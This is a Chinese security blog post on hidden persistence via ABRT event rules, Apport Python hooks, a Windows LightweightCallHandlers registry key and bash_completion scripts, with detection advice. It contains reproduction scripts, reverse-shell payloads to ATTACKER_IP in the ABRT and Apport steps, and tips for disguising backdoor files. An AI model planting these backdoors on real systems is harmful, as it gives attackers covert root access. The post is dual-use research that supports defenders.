三种鲜为人知的持久化技术剖析

· 2026-09-30 08:57 · 28 阅读

原创 博大爷 2026-09-30 08:57 新加坡

三个鲜为人知的持久化技术,跨 CentOS / Ubuntu / Windows,寄生于系统崩溃与回调流程,隐蔽性极高。附一键复现脚本与蓝队检测手法。

一、 概述

利用周末时间,出于对攻防的一些新思考与个人兴趣,我系统性地梳理了一批持久化方式。研究过程中发现的方法其实不少,但绝大多数经检索都已被公开,只是使用频率低、知名度不高而已。

本文最终筛选出三个较少被公开讨论的持久化点(经多轮检索,应属首次系统整理公开)。之所以措辞谨慎,正是因为"公开"与"少见"之间界限模糊——文末附录中的 bash_completion 持久化,就是一个我独立发现、但事后检索发现已被公开、只是极少被使用的例子。

三个目标概览如下:

名称

系统

持久化载体

触发机制

ATT&CK

ABRT 事件劫持

CentOS / RHEL

/etc/libreport/events.d/*.conf

abrtd 处理崩溃 → root 执行 Shell

T1546

Apport Hook 劫持

Ubuntu / Debian

/usr/share/apport/general-hooks/*.py

Apport 处理崩溃报告 → root 执行 Python

T1546

LCH 回调劫持

Windows 10/11/Server

HKLM\...\LightweightCallHandlers\PNIDUI\Startup

Explorer 启动 → 加载指定 DLL

T1547

三者共性:均需 root / 管理员权限写入,属权限维持(Persistence)范畴,共同寄生于系统的"正常善后流程"之中,审计时极易被忽略。

实用性排序(个人研究结论):

    LCH 回调劫持(Windows)  >  ABRT 事件劫持(CentOS)  >  Apport Hook 劫持(Ubuntu)
    触发稳定、每次登录             依赖进程崩溃                依赖崩溃报告被处理

    其中 Apport 单独使用触发条件较苛刻,但很适合作为多重持久化组合中的二级备份存在。三者隐蔽性均属上乘。


    二、 ABRT 事件劫持(CentOS / RHEL)

    2.1 技术原理

    在 CentOS / RHEL / Fedora 中,ABRT(Automatic Bug Reporting Tool)负责捕获进程崩溃并生成崩溃报告。其核心是守护进程 abrtd 与配套的 libreport 事件框架。

    当一个 C/C++ 程序崩溃时,完整链路如下:

      ① 进程崩溃 (SIGSEGV/SIGABRT...)
      │
      ▼
      ② 内核 core_pattern 管道触发 abrt-hook-ccpp
      │  (/proc/sys/kernel/core_pattern → |/usr/libexec/abrt-hook-ccpp ...)
      ▼
      ③ 在 /var/spool/abrt/ 下创建 problem directory
      │
      ▼
      ④ abrtd 监听到新目录,触发 post-create 事件
      │
      ▼
      ⑤ libreport 按事件名匹配 /etc/libreport/events.d/*.conf
      │
      ▼
      ⑥ 【以 root 身份】执行规则中的 Shell 命令  ← 劫持点

      规则文件格式:

        EVENT=post-create analyzer=CCpp
              #缩进行即为 Shell 命令,由 abrtd 以 root 身份执行
              /path/to/payload

        规则语法要点:

        • 每段规则以 EVENT=<事件名> [过滤条件] 开头,条件用于精确匹配(如 analyzer=CCpp);

        • 紧随其后的缩进行为 Shell 命令,由 abrtd 以 root 权限执行;

        • 常见事件:post-create(问题目录创建后立即触发,最通用)、analyze_LocalGDB、report-cli、notify 等。

        为何隐蔽?events.d/ 目录本就用于存放各类崩溃处理钩子,正常系统中已有多个 .conf 文件(如 ccpp_event.conf、gconf_event.conf)。恶意规则混入其中,与"崩溃善后"这一合法行为高度融合,极难被人工审计发现。

        2.2 复现条件

        条件

        说明

        权限

        已取得 root

        依赖包

        abrt 与 libreport(CentOS 默认安装)

        服务状态

        abrtd.service 处于 active 且 enabled

        2.3 复现步骤

        Step 1 — 写入劫持规则

          cat > /etc/libreport/events.d/backdoor.conf <<'EOF'
          EVENT=post-create analyzer=CCpp
                 #反弹 shell 或执行任意命令(以 root 身份)
                 bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 &
          EOF
          chmod 644 /etc/libreport/events.d/backdoor.conf

          post-create 是最通用的事件——任何 CCpp 类型崩溃都会触发。若追求更强隐蔽性,可绑定 analyze_LocalGDB 等更窄的事件,缩小触发面。

          Step 2 — 诱导进程崩溃

            #启动一个无害后台进程,发送 SIGSEGV 使其崩溃
            sleep 100 & PID=$!
            sleep 0.2
            kill -SEGV $PID

            Step 3 — abrtd 自动接管

            abrtd 检测到 /var/spool/abrt/ 下的新 problem directory,匹配 post-create 事件并以 root 执行规则命令,整个过程约 2–3 秒。

            验证:

              ls -ld /var/spool/abrt/ccpp-* | tail -1
              # drwxr-x---. 2 root abrt 4096 Jul 17 20:40 /var/spool/abrt/ccpp-2026-07-17-20:40:41-2317

              2.4 一键复现脚本(非破坏性验证)

              不想等待真实崩溃时,可主动触发事件处理链:

                # 1. 写入测试规则
                cat > /etc/libreport/events.d/ph_test.conf <<'EOF'
                EVENT=post-create analyzer=CCpp
                echo "persistence verified" > /tmp/events_d_poc
                EOF


                # 2. 诱导崩溃
                sleep 1 & PID=$! && sleep 0.2 && kill -SEGV $PID


                #3. 等待 2-3 秒后检查
                sleep 3
                cat /tmp/events_d_poc #预期输出:persistence verified


                #4. 清理现场
                rm -f /etc/libreport/events.d/ph_test.conf /tmp/events_d_poc

                2.5 攻防要点

                视角

                要点

                🔴 服务依赖

                若 abrtd 未运行,systemctl start abrtd 即可拉起

                🔴 触发选择

                真实场景可等待目标应用自然崩溃,或对低优先级进程发 SIGSEGV;严禁操作系统关键进程

                🔴 隐蔽伪装

                规则文件命名可模仿 ccpp_event.conf 风格,混入既有配置

                🔵 检测

                排查 events.d/ 下非 RPM 包属文件:rpm -Vf /etc/libreport/events.d/*.conf 2>&1 | grep "no package"

                🔵 防御

                将 /etc/libreport/events.d/ 纳入文件完整性监控(AIDE / Tripwire)基线


                三、 Apport Hook 劫持(Ubuntu / Debian)

                3.1 技术原理

                apport 是 Ubuntu 默认的崩溃报告系统。它同样通过内核 core_pattern 接管崩溃,但其扩展点是一组Python 钩子模块。

                当 apport 处理崩溃报告时,会加载 /usr/share/apport/general-hooks/ 下的所有 .py 文件,并调用每个模块中的 add_info(report, ui) 函数——这些钩子以 root 身份运行。

                核心调用链:

                  ① 程序崩溃
                  │  core_pattern → |/usr/share/apport/apport %p %s %c ...
                  ▼
                  ② apport 收集信息,写入 /var/crash/*.crash
                  │
                  ▼
                  ③ 报告被处理(apport-cli / ubuntu-bug / whoopsie 自动上传)
                  │  触发 Report.add_hooks_info()
                  ▼
                  ④ 遍历 /usr/share/apport/general-hooks/*.py
                  │
                  ▼
                  ⑤ 对每个模块调用 add_info(report, ui)  ← 【以 root 身份】劫持点

                  关键差异: 与 ABRT 的"崩溃即触发"不同,Apport 钩子在报告被进一步处理时才执行(见 2.5)。这既是它的局限,也是它作为二级持久化的价值所在。

                  3.2 复现条件

                  条件

                  说明

                  权限

                  已取得 root

                  依赖包

                  apport(Ubuntu 默认安装)

                  服务状态

                  apport.service 处于 active

                  3.3 复现步骤

                  Step 1 — 写入恶意 Hook

                    # /usr/share/apport/general-hooks/backdoor.py
                    import os
                    import subprocess


                    def add_info(report, ui):
                        # 反弹 shell 或执行任意命令(以 root 身份)
                        subprocess.Popen(
                            ["/bin/bash", "-c",
                             "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 &"],
                            stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL
                        )

                      chmod 644 /usr/share/apport/general-hooks/backdoor.py

                      关键约束: 函数名必须为 add_info(report, ui) 且接受两个参数,否则不会被调用。文件名可伪装为 generic_helper.py、parse_segv.py 等,混入既有钩子。

                      Step 2 — 触发 Hook 执行(非破坏性)

                        python3 - <<'PYEOF'
                        from apport.report import Report
                        r = Report()
                        r.add_hooks_info(None)
                        print("hooks executed")
                        PYEOF

                        此法无需真实诱导崩溃,直接调用 add_hooks_info() 即可触发所有钩子。真实场景中,任意程序崩溃并被处理都会自动触发。

                        验证:在钩子中写入标记文件即可确认执行:

                          def add_info(report, ui):
                              with open("/tmp/apport_poc", "w") as f:
                                  f.write("apport hook executed\n")

                          3.4 一键复现脚本

                            # 1. 写入测试 hook
                            cat > /usr/share/apport/general-hooks/ph_test.py <<'EOF'
                            def add_info(report, ui):
                                with open("/tmp/apport_poc", "w") as f:
                                    f.write("apport hook executed\n")
                            EOF


                            # 2. 触发
                            python3 -c "from apport.report import Report; Report().add_hooks_info(None)"


                            # 3. 验证
                            cat /tmp/apport_poc        # 预期输出:apport hook executed


                            # 4. 清理现场
                            rm -f /usr/share/apport/general-hooks/ph_test.py /tmp/apport_poc

                            3.5 攻防要点

                            视角

                            要点

                            🔴 触发时机

                            钩子不在崩溃瞬间执行,而是在报告被处理时(apport-cli / 桌面 whoopsie 自动上传)。无桌面服务器需用户主动处理崩溃报告

                            🔴 隐蔽伪装

                            命名可模仿 generic.py、parse_segv.py 等,融入正常钩子集

                            🔴 兼容性

                            仅 Debian / Ubuntu 系特有;CentOS 使用不同机制(见 0x01)

                            🔵 检测

                            排查 general-hooks/ 下非包属.py:dpkg -S /usr/share/apport/general-hooks/*.py 2>&1 | grep "no path found"

                            🔵 防御

                            将 /usr/share/apport/general-hooks/ 纳入 FIM 基线;服务器环境可考虑禁用 apport


                            四、 LCH 回调劫持(Windows 10 / 11 / Server)

                            4.1 技术原理

                            Windows 中,explorer.exe 启动时会加载 pnidui.dll(Network Connections / 网络状态 UI 模块)。pnidui.dll 会读取注册表项:

                              HKLM\SYSTEM\CurrentControlSet\Control\Network\LightweightCallHandlers\PNIDUI\Startup

                              对该键下的每一个子键,执行如下加载流程:

                                读取子键
                                │
                                ▼
                                LoadLibrary(DllName)           ← 加载指定 DLL
                                │
                                ▼
                                GetProcAddress(FunctionEntryName)   ← 定位导出函数
                                │
                                ▼
                                调用导出函数

                                亦可通过 ExeName 值直接启动可执行文件。

                                为何这是一个优质持久化点?

                                特点

                                说明

                                无需 COM 注册

                                不依赖 CLSID / InprocServer32,直接写子键 + DllName + FunctionEntryName 即可

                                ACL 宽松

                                该注册表项对 BUILTIN\Administrators 授予 FullControl,不受 TrustedInstaller 保护

                                执行早

                                DLL 的 DllMain 在 DLL_PROCESS_ATTACH 阶段即执行,即使导出函数调用失败也不受影响

                                触发稳

                                每次 Explorer 启动(即每次交互式登录)必然触发

                                相较于人尽皆知、被 EDR 重点盯防的 HKLM\...\Run,LightweightCallHandlers 冷门得多,检出率天然更低。

                                4.2 复现条件

                                条件

                                说明

                                权限

                                管理员(BUILTIN\Administrators 或 Network Configuration Operators)

                                系统

                                Windows 10 / 11 / Server 2016+

                                4.3 复现步骤

                                Step 1 — 编写测试 DLL(C 语言)

                                  // test_lch.c
                                  #include<windows.h>
                                  #include<stdio.h>
                                  #include<time.h>


                                  // 导出函数:pnidui.dll 会通过 GetProcAddress 查找
                                  __declspec(dllexport) void __stdcall LchTestExport(void)
                                  {
                                      return;
                                  }


                                  BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
                                  {
                                      wchar_t path[MAX_PATH];
                                      FILE *fp;


                                      if (ul_reason_for_call == DLL_PROCESS_ATTACH)
                                      {
                                          // Payload 置于 DllMain:此处以写入标记文件为例
                                          GetModuleFileNameW(NULL, path, MAX_PATH);
                                          fp = fopen("C:\\Temp\\lch_poc_loaded.txt", "a");
                                          if (fp)
                                          {
                                              fprintf(fp, "DLL loaded by: %ls @ %lld\n", path, (long long)time(NULL));
                                              fclose(fp);
                                          }
                                      }
                                      return TRUE;
                                  }

                                  Step 2 — 编译

                                    gcc.exe -shared -o test_lch.dll test_lch.c

                                    Step 3 — 放置 DLL 并写入注册表

                                      # 复制 DLL 到 System32(或任意可访问路径)
                                      Copy-Item .\test_lch.dll C:\Windows\System32\test_lch_poc.dll


                                      # 创建注册表项(需管理员权限)
                                      $path = "HKLM:\SYSTEM\CurrentControlSet\Control\Network\LightweightCallHandlers\PNIDUI\Startup\POC_Startup"
                                      New-Item -Path $path -Force | Out-Null
                                      Set-ItemProperty -Path $path -Name "DllName"           -Value "C:\Windows\System32\test_lch_poc.dll"
                                      Set-ItemProperty -Path $path -Name "FunctionEntryName" -Value "LchTestExport"
                                      Set-ItemProperty -Path $path -Name "Cardinality"       -Value 1 -Type DWord

                                      Step 4 — 重启 Explorer 触发

                                        Stop-Process -Name explorer -Force
                                        Start-Sleep -Seconds 5
                                        Start-Process -FilePath "explorer.exe" -WorkingDirectory "C:\Windows"

                                        4.4 Python 一键复现脚本

                                          # auto_poc.py —— 编译 + 注册表 + 触发 + 验证 + 清理 全流程自动化
                                          import os, sys, time, shutil, subprocess, winreg, ctypes


                                          PROJECT_DIR = r"C:\Temp\test"
                                          DLL_TARGET  = os.path.join(r"C:\Windows\System32", "test_lch_poc.dll")
                                          EVIDENCE    = os.path.join(PROJECT_DIR, "lch_poc_loaded.txt")
                                          REG_PATH    = r"SYSTEM\CurrentControlSet\Control\Network\LightweightCallHandlers\PNIDUI\Startup\POC_Startup"


                                          def is_admin():
                                              return ctypes.windll.shell32.IsUserAnAdmin()


                                          # 1. 编译
                                          gcc = shutil.which("gcc")
                                          subprocess.run([gcc, "-shared", "-o", os.path.join(PROJECT_DIR, "test_lch.dll"),
                                                          os.path.join(PROJECT_DIR, "test_lch.c")], check=True)


                                          # 2. 放置 DLL
                                          shutil.copy2(os.path.join(PROJECT_DIR, "test_lch.dll"), DLL_TARGET)


                                          # 3. 写入注册表
                                          key = winreg.CreateKeyEx(winreg.HKEY_LOCAL_MACHINE, REG_PATH, 0, winreg.KEY_WRITE)
                                          winreg.SetValueEx(key, "DllName",           0, winreg.REG_SZ,    DLL_TARGET)
                                          winreg.SetValueEx(key, "FunctionEntryName", 0, winreg.REG_SZ,    "LchTestExport")
                                          winreg.SetValueEx(key, "Cardinality",       0, winreg.REG_DWORD, 1)
                                          winreg.CloseKey(key)


                                          # 4. 重启 Explorer
                                          if os.path.exists(EVIDENCE): os.remove(EVIDENCE)
                                          subprocess.run(["powershell", "-Command",
                                              "Stop-Process -Name explorer -Force; Start-Sleep 5; Start-Process explorer"], check=True)


                                          # 5. 验证
                                          time.sleep(10)
                                          if os.path.exists(EVIDENCE):
                                              with open(EVIDENCE) as f: print(f.read())
                                          else:
                                              print("timeout, check registry entry and DLL path manually")


                                          # 6. 清理
                                          winreg.DeleteKey(winreg.HKEY_LOCAL_MACHINE, REG_PATH)
                                          # 注意:DLL 可能被 explorer.exe 占用,需再次重启 explorer 后手动删除

                                          4.5 攻防要点

                                          视角

                                          要点

                                          🔴 无 TI 保护

                                          区别于 HKLM\...\Run,该键直接对 Administrators 开放全部权限

                                          🔴 DLL 占用

                                          explorer.exe 加载后不会立即释放 DLL,清理时需再重启一次 Explorer

                                          🔴 触发稳定

                                          PNIDUI\Startup 在每次 Explorer 启动时触发,稳定可靠

                                          🔴 函数签名

                                          导出函数须保持简单(void __stdcall func(void)),避免签名不匹配导致 Explorer 崩溃

                                          🔵 检测

                                          监控 LightweightCallHandlers 下新增子键,或指向非系统路径的 DllName / ExeName

                                          🔵 防御

                                          将该注册表路径纳入 Sysmon(Event ID 12/13/14)注册表变更审计规则


                                          五、 横向对比:共性与差异

                                          维度

                                          ① ABRT 事件劫持

                                          ② Apport Hook 劫持

                                          ③ LCH 回调劫持

                                          实战价值

                                          中

                                          低

                                          高

                                          平台

                                          CentOS / RHEL

                                          Ubuntu / Debian

                                          Windows

                                          触发事件

                                          进程崩溃

                                          崩溃报告处理

                                          Explorer 启动

                                          执行身份

                                          root

                                          root

                                          当前用户

                                          Payload 形式

                                          Shell

                                          Python

                                          原生 DLL

                                          写入权限

                                          root

                                          root

                                          Administrator

                                          触发稳定性

                                          中(依赖崩溃)

                                          中(依赖报告处理)

                                          高(每次登录)

                                          系统级保护

                                          无

                                          无

                                          无(ACL 宽松)

                                          隐蔽性

                                          高

                                          高

                                          高

                                          ATT&CK

                                          T1546

                                          T1546

                                          T1547

                                          共性风险:三者都寄生于系统的"正常善后流程"(崩溃处理、UI 加载)中,与合法行为高度融合,常规审计极易遗漏。

                                          防御侧总纲:

                                          1. 将三条路径纳入文件完整性监控(FIM)与注册表变更审计基线;

                                          2. 对崩溃处理组件(ABRT / Apport)的配置目录建立包属校验(RPM / dpkg);

                                          3. Windows 侧用Sysmon覆盖 LightweightCallHandlers 注册表写入事件;

                                          4. 建立"非常规自启动点"清单,定期比对。


                                          附录:利用 bash_completion 持久化

                                          这是我独立发现、后经检索发现已被公开但极少被使用的一个 Linux 持久化点,作为延伸阅读附上。原理是 bash 在交互式启动时会自动加载 /etc/bash_completion.d/ 下的补全脚本。

                                          Step 1 — 准备测试程序(模拟木马)

                                            // gcc -g -o test test.c
                                            #include<stdio.h>
                                            #include<unistd.h>


                                            intmain(){
                                                char message[] = "Hello bash completion!!";
                                                printf("%s\nPID: %d\n", message, getpid());
                                                while(1) sleep(5);
                                                return 0;
                                            }

                                            Step 2 — 在/etc/bash_completion.d/下创建补全脚本

                                            文件名任意,此处用 bash_completion_test:

                                              touch /etc/bash_completion.d/bash_completion_test

                                              内容:

                                                if [[ -e /tmp/bash_completion.sh ]]; then
                                                . /tmp/bash_completion.sh
                                                fi

                                                Step 3 — 编写被加载的执行脚本

                                                  touch /tmp/bash_completion.sh

                                                  内容:

                                                    /tmp/test

                                                    Step 4 — 效果验证

                                                    此时新开一个 bash,即可看到输出:

                                                      Hello bash completion!!
                                                      PID: 23803

                                                      演示中程序为前台运行,故新 bash 窗口会阻塞(便于观察)。真实场景改为后台即可——将 /tmp/bash_completion.sh 中的命令改为 /tmp/test &。


                                                      写在最后

                                                      攻防本是一体两面。公开这些持久化点,不是为了教人作恶,而是希望蓝队能据此补齐检测盲区——你不知道的攻击面,永远无法防御。

                                                      如果本文对你有帮助,欢迎点赞、在看、转发。

                                                      跳转微信打开

                                                      本文转载自微信公众号「huasec」,查看原文。版权归原作者所有,如有侵权请联系删除。